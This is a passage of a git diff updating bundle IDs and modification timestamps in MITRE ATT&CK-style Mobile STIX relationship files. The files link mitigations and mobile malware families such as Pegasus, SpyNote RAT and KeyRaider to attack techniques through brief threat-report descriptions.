-    "id": "bundle--c91980ea-b5cf-4085-9cfe-f6c3bc118507",
+    "id": "bundle--780ba66d-6390-47d4-9032-166a5c1d781c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b104c62f-771c-46c5-afc4-a964a94cea50",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.736Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--653492e3-27be-4a0e-b08c-938dd2b7e0e1",
             "target_ref": "attack-pattern--6b846ad0-cc20-4db6-aa34-91561397c5e2",
diff --git a/mobile-attack/relationship/relationship--b1f2770e-11f0-429c-9bac-9fa5bc5859b0.json b/mobile-attack/relationship/relationship--b1f2770e-11f0-429c-9bac-9fa5bc5859b0.json
index 12aa459447..45084da24d 100644
--- a/mobile-attack/relationship/relationship--b1f2770e-11f0-429c-9bac-9fa5bc5859b0.json
+++ b/mobile-attack/relationship/relationship--b1f2770e-11f0-429c-9bac-9fa5bc5859b0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--510389db-0fa1-4ada-8570-6dac8ad78c06",
+    "id": "bundle--ba8f1fcb-3d14-4fbb-b979-135b0f8bd362",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b1f2770e-11f0-429c-9bac-9fa5bc5859b0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.746Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--8e27551a-5080-4148-a584-c64348212e4f",
diff --git a/mobile-attack/relationship/relationship--b23ec81b-8610-4bb0-a837-2c316c67fa79.json b/mobile-attack/relationship/relationship--b23ec81b-8610-4bb0-a837-2c316c67fa79.json
index 9425633524..05274fd2da 100644
--- a/mobile-attack/relationship/relationship--b23ec81b-8610-4bb0-a837-2c316c67fa79.json
+++ b/mobile-attack/relationship/relationship--b23ec81b-8610-4bb0-a837-2c316c67fa79.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--37e6a4f3-5942-4cc5-ab49-5c6ad687a2c9",
+    "id": "bundle--48a2bfe2-531a-4fe0-a851-49bd7a872d43",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b23ec81b-8610-4bb0-a837-2c316c67fa79",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.739Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--bcecd036-f40e-4916-9f8e-fd0ccf0ece8d",
             "target_ref": "attack-pattern--29e07491-8947-43a3-8d4e-9a787c45f3d3",
diff --git a/mobile-attack/relationship/relationship--b263e4e9-972d-4ba7-8be8-e55eb6a483c0.json b/mobile-attack/relationship/relationship--b263e4e9-972d-4ba7-8be8-e55eb6a483c0.json
index 3171ff9643..c2e5b0b468 100644
--- a/mobile-attack/relationship/relationship--b263e4e9-972d-4ba7-8be8-e55eb6a483c0.json
+++ b/mobile-attack/relationship/relationship--b263e4e9-972d-4ba7-8be8-e55eb6a483c0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--181f9917-e40b-4b02-b356-1c56f98abb50",
+    "id": "bundle--e00a7dd4-8d81-4db4-8775-3cd63bc35f04",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b263e4e9-972d-4ba7-8be8-e55eb6a483c0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "\"[T]he purpose of HummingWhale is to generate revenue by displaying fraudulent ads and automatically installing apps. When users try to close the ads, the new functionality causes already downloaded apps to run in a virtual machine. That creates a fake ID that allows the perpetrators to generate referral revenues.\"",
             "source_ref": "malware--6447e3a1-ef4d-44b1-99d5-6b1c4888674f",
diff --git a/mobile-attack/relationship/relationship--b28c1e81-4f78-4e40-9899-2872cdbcceba.json b/mobile-attack/relationship/relationship--b28c1e81-4f78-4e40-9899-2872cdbcceba.json
index 82a90ea4bb..7aa5636f8e 100644
--- a/mobile-attack/relationship/relationship--b28c1e81-4f78-4e40-9899-2872cdbcceba.json
+++ b/mobile-attack/relationship/relationship--b28c1e81-4f78-4e40-9899-2872cdbcceba.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ec3337db-36e4-4879-82c1-c30aa2a56b24",
+    "id": "bundle--7f943680-50e8-45d7-97dd-842c318fb21b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b28c1e81-4f78-4e40-9899-2872cdbcceba",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.736Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "target_ref": "attack-pattern--79eec66a-9bd0-4a3f-ac82-19159e94bd44",
diff --git a/mobile-attack/relationship/relationship--b2b31911-5b7e-4df3-89c6-00b5b372fb4f.json b/mobile-attack/relationship/relationship--b2b31911-5b7e-4df3-89c6-00b5b372fb4f.json
index f9b8e0a77b..b857c8cbef 100644
--- a/mobile-attack/relationship/relationship--b2b31911-5b7e-4df3-89c6-00b5b372fb4f.json
+++ b/mobile-attack/relationship/relationship--b2b31911-5b7e-4df3-89c6-00b5b372fb4f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3b856f0e-bbe5-487d-85bc-fa0fb91c6254",
+    "id": "bundle--0deacc2c-384d-4434-9090-9f4705a7f327",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b2b31911-5b7e-4df3-89c6-00b5b372fb4f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.741Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--8220b57e-c400-4525-bf69-f8edc6b389a8",
             "target_ref": "attack-pattern--a5de0540-73e7-4c67-96da-4143afedc7ed",
diff --git a/mobile-attack/relationship/relationship--b2c289bf-e981-4bcd-87dd-b6c0680557e9.json b/mobile-attack/relationship/relationship--b2c289bf-e981-4bcd-87dd-b6c0680557e9.json
index a1c22265b1..3617403f35 100644
--- a/mobile-attack/relationship/relationship--b2c289bf-e981-4bcd-87dd-b6c0680557e9.json
+++ b/mobile-attack/relationship/relationship--b2c289bf-e981-4bcd-87dd-b6c0680557e9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--dba9885d-28c3-4e06-8ebb-c0a902cc8211",
+    "id": "bundle--b934d307-f540-48f8-b00c-da915fd4bd93",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b2c289bf-e981-4bcd-87dd-b6c0680557e9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.745Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "target_ref": "attack-pattern--82f04b1e-5371-4a6f-be06-411f0f43b483",
diff --git a/mobile-attack/relationship/relationship--b3bb33bf-9034-4d5c-8ea0-31d3bbd12b6b.json b/mobile-attack/relationship/relationship--b3bb33bf-9034-4d5c-8ea0-31d3bbd12b6b.json
index c4b345e56f..0f43408ef5 100644
--- a/mobile-attack/relationship/relationship--b3bb33bf-9034-4d5c-8ea0-31d3bbd12b6b.json
+++ b/mobile-attack/relationship/relationship--b3bb33bf-9034-4d5c-8ea0-31d3bbd12b6b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0314cd03-e197-4054-af43-d28ba393d646",
+    "id": "bundle--5828e302-5bc5-4b04-bef4-fa4226c8c5ab",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b3bb33bf-9034-4d5c-8ea0-31d3bbd12b6b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "\"WireLurker exhibits complex code structure, multiple component versions, file hiding, code obfuscation and customized encryption to thwart anti-reversing.\"",
             "source_ref": "malware--326eaf7b-5784-4f08-8fc2-61fd5d5bc5fb",
diff --git a/mobile-attack/relationship/relationship--b4180067-52b6-4109-91df-52fd9a7ed2e8.json b/mobile-attack/relationship/relationship--b4180067-52b6-4109-91df-52fd9a7ed2e8.json
index bcb354c4d9..cfbdaba962 100644
--- a/mobile-attack/relationship/relationship--b4180067-52b6-4109-91df-52fd9a7ed2e8.json
+++ b/mobile-attack/relationship/relationship--b4180067-52b6-4109-91df-52fd9a7ed2e8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3d24d2d5-2896-452d-bba7-ab4523b357b9",
+    "id": "bundle--8df537f4-8ae4-4766-a8e6-aabeacb69db4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b4180067-52b6-4109-91df-52fd9a7ed2e8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "AndroRAT gathers \"audio from the microphone.\"",
             "source_ref": "malware--a3dad2be-ce62-4440-953b-00fbce7aba93",
diff --git a/mobile-attack/relationship/relationship--b4e055cf-f77e-4888-9610-6cd328e035c8.json b/mobile-attack/relationship/relationship--b4e055cf-f77e-4888-9610-6cd328e035c8.json
index 86cfa98a85..64429d9e5b 100644
--- a/mobile-attack/relationship/relationship--b4e055cf-f77e-4888-9610-6cd328e035c8.json
+++ b/mobile-attack/relationship/relationship--b4e055cf-f77e-4888-9610-6cd328e035c8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d4e3c929-d982-4ee6-90a1-1fb7b90752b9",
+    "id": "bundle--a8f8244b-8294-4e3e-84ed-f940867ee114",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b4e055cf-f77e-4888-9610-6cd328e035c8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.746Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a",
diff --git a/mobile-attack/relationship/relationship--b5097495-f417-46ed-88e2-02cba2371936.json b/mobile-attack/relationship/relationship--b5097495-f417-46ed-88e2-02cba2371936.json
index bec00708e2..37b05af5b8 100644
--- a/mobile-attack/relationship/relationship--b5097495-f417-46ed-88e2-02cba2371936.json
+++ b/mobile-attack/relationship/relationship--b5097495-f417-46ed-88e2-02cba2371936.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6253b3cc-dd4c-4436-ab10-e1c51d30d29e",
+    "id": "bundle--29ddc105-46de-4396-b91c-f046b760b4ff",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b5097495-f417-46ed-88e2-02cba2371936",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.744Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--8220b57e-c400-4525-bf69-f8edc6b389a8",
             "target_ref": "attack-pattern--393e8c12-a416-4575-ba90-19cc85656796",
diff --git a/mobile-attack/relationship/relationship--b596251a-73db-4e53-a04d-51be783b0241.json b/mobile-attack/relationship/relationship--b596251a-73db-4e53-a04d-51be783b0241.json
index b89fff9a46..39e2b749b2 100644
--- a/mobile-attack/relationship/relationship--b596251a-73db-4e53-a04d-51be783b0241.json
+++ b/mobile-attack/relationship/relationship--b596251a-73db-4e53-a04d-51be783b0241.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--dc6bf6d8-91fd-470b-ac31-86aaabc884e5",
+    "id": "bundle--6940087f-7bcf-4487-8220-a8bc94b60336",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b596251a-73db-4e53-a04d-51be783b0241",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "On jailbroken iOS devices, \"[m]ost KeyRaider samples hook SSLRead and SSLWrite functions in the itunesstored process\" to intercept device communication with the Apple App Store and search \"for specific patterns to find the Apple account's username, password and device's GUID in the data being transferred\".",
             "source_ref": "malware--3bc1f0ad-ef11-4afc-83c0-fcffe08d4e50",
diff --git a/mobile-attack/relationship/relationship--b67f04d9-1cbd-49b4-9ec3-a33a41ac42ab.json b/mobile-attack/relationship/relationship--b67f04d9-1cbd-49b4-9ec3-a33a41ac42ab.json
index b82ccc709c..d8be431e65 100644
--- a/mobile-attack/relationship/relationship--b67f04d9-1cbd-49b4-9ec3-a33a41ac42ab.json
+++ b/mobile-attack/relationship/relationship--b67f04d9-1cbd-49b4-9ec3-a33a41ac42ab.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6c6ac089-b101-46b3-b951-ff208aa7e098",
+    "id": "bundle--5bad851f-7496-4385-8965-00395c53f52d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b67f04d9-1cbd-49b4-9ec3-a33a41ac42ab",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The OBAD Android malware family contains encrypted code along with an obfuscated decryption routine to make it difficult to analyze.",
             "source_ref": "malware--ca4f63b9-a358-4214-bb26-8c912318cfde",
diff --git a/mobile-attack/relationship/relationship--b7282bf9-63f8-49ad-8ee0-f2ad523a367e.json b/mobile-attack/relationship/relationship--b7282bf9-63f8-49ad-8ee0-f2ad523a367e.json
index 4d3ebfb481..3d2e7545ee 100644
--- a/mobile-attack/relationship/relationship--b7282bf9-63f8-49ad-8ee0-f2ad523a367e.json
+++ b/mobile-attack/relationship/relationship--b7282bf9-63f8-49ad-8ee0-f2ad523a367e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6d846036-b065-4034-866f-1480306647ec",
+    "id": "bundle--cbf6dbda-d46a-48ad-9ee4-cea958849cc8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b7282bf9-63f8-49ad-8ee0-f2ad523a367e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DualToy \"side loads malicious or risky apps to both Android and iOS devices via a USB connection\" and also collects the \"connected iOS device\u2019s information including IMEI, IMSI, ICCID, serial number and phone number\".",
             "source_ref": "malware--507fe748-5e4a-4b45-9e9f-8b1115f4e878",
diff --git a/mobile-attack/relationship/relationship--b7652f27-1cf6-4310-bf6b-5fb99c4fd725.json b/mobile-attack/relationship/relationship--b7652f27-1cf6-4310-bf6b-5fb99c4fd725.json
index 222d2d22be..63f34b9fd8 100644
--- a/mobile-attack/relationship/relationship--b7652f27-1cf6-4310-bf6b-5fb99c4fd725.json
+++ b/mobile-attack/relationship/relationship--b7652f27-1cf6-4310-bf6b-5fb99c4fd725.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e5f18fb0-bc49-4e88-90ea-94ffc554dfbc",
+    "id": "bundle--1a91e0d2-9d6a-4fdc-b414-8bee40b3e96f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b7652f27-1cf6-4310-bf6b-5fb99c4fd725",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus has the ability to record audio.",
             "source_ref": "malware--33d9d91d-aad9-49d5-a516-220ce101ac8a",
diff --git a/mobile-attack/relationship/relationship--ba556d98-4ff2-43a4-bb93-52f99265ff99.json b/mobile-attack/relationship/relationship--ba556d98-4ff2-43a4-bb93-52f99265ff99.json
index 6993a6da9c..ef515de4fb 100644
--- a/mobile-attack/relationship/relationship--ba556d98-4ff2-43a4-bb93-52f99265ff99.json
+++ b/mobile-attack/relationship/relationship--ba556d98-4ff2-43a4-bb93-52f99265ff99.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--647bc2ba-04a5-4915-8b11-f2a1eaa961ec",
+    "id": "bundle--80243d2d-1631-4650-a252-e6deba5d461a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ba556d98-4ff2-43a4-bb93-52f99265ff99",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.741Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--c4b96c0b-cb58-497a-a1c2-bb447d79d692",
diff --git a/mobile-attack/relationship/relationship--bb3be217-08e2-4bb0-9f1a-d8e538010451.json b/mobile-attack/relationship/relationship--bb3be217-08e2-4bb0-9f1a-d8e538010451.json
index b254e126a4..ffff63acef 100644
--- a/mobile-attack/relationship/relationship--bb3be217-08e2-4bb0-9f1a-d8e538010451.json
+++ b/mobile-attack/relationship/relationship--bb3be217-08e2-4bb0-9f1a-d8e538010451.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--caa84a2b-dbdb-4f84-85ca-cf525493f8ec",
+    "id": "bundle--760bffdd-7363-451d-972d-87be748b23f5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bb3be217-08e2-4bb0-9f1a-d8e538010451",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RuMMS gathers device model and operating system version information and transmits it to a command and control server.",
             "source_ref": "malware--936be60d-90eb-4c36-9247-4b31128432c4",
diff --git a/mobile-attack/relationship/relationship--bc4e848a-adb7-40a2-94a1-d5ab9854ff0f.json b/mobile-attack/relationship/relationship--bc4e848a-adb7-40a2-94a1-d5ab9854ff0f.json
index d67e4f1bf0..17f298bcc1 100644
--- a/mobile-attack/relationship/relationship--bc4e848a-adb7-40a2-94a1-d5ab9854ff0f.json
+++ b/mobile-attack/relationship/relationship--bc4e848a-adb7-40a2-94a1-d5ab9854ff0f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6ccfe759-b7bc-48be-8850-2896da3bbf23",
+    "id": "bundle--7acbc393-2870-4bfe-8421-2fcaf21ce587",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bc4e848a-adb7-40a2-94a1-d5ab9854ff0f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SpyNote RAT can copy \"files from the device to a Command & Control (C&C) center\".",
             "source_ref": "malware--20dbaf05-59b8-4dc6-8777-0b17f4553a23",
diff --git a/mobile-attack/relationship/relationship--be2895e2-7e1d-4467-8b6a-ac06b17ce0bb.json b/mobile-attack/relationship/relationship--be2895e2-7e1d-4467-8b6a-ac06b17ce0bb.json
index a62d1d8482..e33b2f88bd 100644
--- a/mobile-attack/relationship/relationship--be2895e2-7e1d-4467-8b6a-ac06b17ce0bb.json
+++ b/mobile-attack/relationship/relationship--be2895e2-7e1d-4467-8b6a-ac06b17ce0bb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--13837011-c645-418f-9a3c-e3c48da10637",
+    "id": "bundle--08a8d510-fe62-457a-ba01-5dff423f556f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--be2895e2-7e1d-4467-8b6a-ac06b17ce0bb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.738Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--d2a199d2-dfea-4d0c-987d-6195ed17be9c",
             "target_ref": "attack-pattern--702055ac-4e54-4ae9-9527-e23a38e0b160",
diff --git a/mobile-attack/relationship/relationship--bebf345c-21d5-410f-9015-90c144161e5d.json b/mobile-attack/relationship/relationship--bebf345c-21d5-410f-9015-90c144161e5d.json
index f51c0c532a..8f886e790d 100644
--- a/mobile-attack/relationship/relationship--bebf345c-21d5-410f-9015-90c144161e5d.json
+++ b/mobile-attack/relationship/relationship--bebf345c-21d5-410f-9015-90c144161e5d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0a12353a-0dfe-4f9b-bb8c-3852a4a13052",
+    "id": "bundle--5f8e3f94-b1e4-4079-b916-420103682d0e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bebf345c-21d5-410f-9015-90c144161e5d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.739Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--9d7c32f4-ab39-49dc-8055-8106bc2294a1",
diff --git a/mobile-attack/relationship/relationship--bee6407a-1f05-4f91-b6e7-a8f8b58fa421.json b/mobile-attack/relationship/relationship--bee6407a-1f05-4f91-b6e7-a8f8b58fa421.json
index 41d80076a4..74f95abdd3 100644
--- a/mobile-attack/relationship/relationship--bee6407a-1f05-4f91-b6e7-a8f8b58fa421.json
+++ b/mobile-attack/relationship/relationship--bee6407a-1f05-4f91-b6e7-a8f8b58fa421.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4a073221-9151-4d12-bf15-b92586c9d6e0",
+    "id": "bundle--dd25aac1-44f3-4cbd-ba01-343e84f0ed3d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bee6407a-1f05-4f91-b6e7-a8f8b58fa421",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Charger \"encodes strings into binary arrays, making it hard to inspect them\", and \"loads code from encrypted resources dynamically, which most detection engines cannot penetrate and inspect. The dynamically-loaded code is also flooded with meaningless commands that mask the actual commands passing through.\"",
             "source_ref": "malware--d1c600f8-0fb6-4367-921b-85b71947d950",
diff --git a/mobile-attack/relationship/relationship--bf2ea132-c8f3-4ea0-8c4c-bdc95923c3b1.json b/mobile-attack/relationship/relationship--bf2ea132-c8f3-4ea0-8c4c-bdc95923c3b1.json
index 08947a6e9e..f6968a3c25 100644
--- a/mobile-attack/relationship/relationship--bf2ea132-c8f3-4ea0-8c4c-bdc95923c3b1.json
+++ b/mobile-attack/relationship/relationship--bf2ea132-c8f3-4ea0-8c4c-bdc95923c3b1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--79eaaaac-8271-43bd-aa89-386aec1a650d",
+    "id": "bundle--ad16fa2c-bddc-46b4-9303-f1d75c395ae6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bf2ea132-c8f3-4ea0-8c4c-bdc95923c3b1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SpyNote RAT can activate \"the device's microphone\" and listen \"to live conversations\".",
             "source_ref": "malware--20dbaf05-59b8-4dc6-8777-0b17f4553a23",
diff --git a/mobile-attack/relationship/relationship--bf859944-d097-45ba-ae01-2f85a00cad1f.json b/mobile-attack/relationship/relationship--bf859944-d097-45ba-ae01-2f85a00cad1f.json
index daddba6c18..e16ef39579 100644
--- a/mobile-attack/relationship/relationship--bf859944-d097-45ba-ae01-2f85a00cad1f.json
+++ b/mobile-attack/relationship/relationship--bf859944-d097-45ba-ae01-2f85a00cad1f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f6352b89-11b1-416c-a0bc-2e7ccbca18c6",
+    "id": "bundle--80d15bca-7a32-481f-a130-ddeecf01679a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--bf859944-d097-45ba-ae01-2f85a00cad1f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.736Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--653492e3-27be-4a0e-b08c-938dd2b7e0e1",
             "target_ref": "attack-pattern--1f96d624-8409-4472-ad8a-30618ee6b2e2",
diff --git a/mobile-attack/relationship/relationship--c2437c8b-709f-47e8-ae65-21ae48410a9e.json b/mobile-attack/relationship/relationship--c2437c8b-709f-47e8-ae65-21ae48410a9e.json
index e815f10a06..60bf9ccf29 100644
--- a/mobile-attack/relationship/relationship--c2437c8b-709f-47e8-ae65-21ae48410a9e.json
+++ b/mobile-attack/relationship/relationship--c2437c8b-709f-47e8-ae65-21ae48410a9e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--21517a8e-2e7e-4222-bda1-847cab03fece",
+    "id": "bundle--be2640cb-3004-4ee3-89fd-87bb346d2037",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c2437c8b-709f-47e8-ae65-21ae48410a9e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.745Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--11bd699b-f2c2-4e48-bf46-fb3f8acd9799",
diff --git a/mobile-attack/relationship/relationship--c5b80ca7-eceb-43ea-991e-10af5d9ca4bc.json b/mobile-attack/relationship/relationship--c5b80ca7-eceb-43ea-991e-10af5d9ca4bc.json
index fcb7f2dfe8..f67c2fbf36 100644
--- a/mobile-attack/relationship/relationship--c5b80ca7-eceb-43ea-991e-10af5d9ca4bc.json
+++ b/mobile-attack/relationship/relationship--c5b80ca7-eceb-43ea-991e-10af5d9ca4bc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fff77e7c-138d-46f6-b255-9bcdb1817425",
+    "id": "bundle--530e7ed5-eb15-45bf-b142-1a2f9966107e",
     "spec_version": "2.0",
     "objects": [
         {
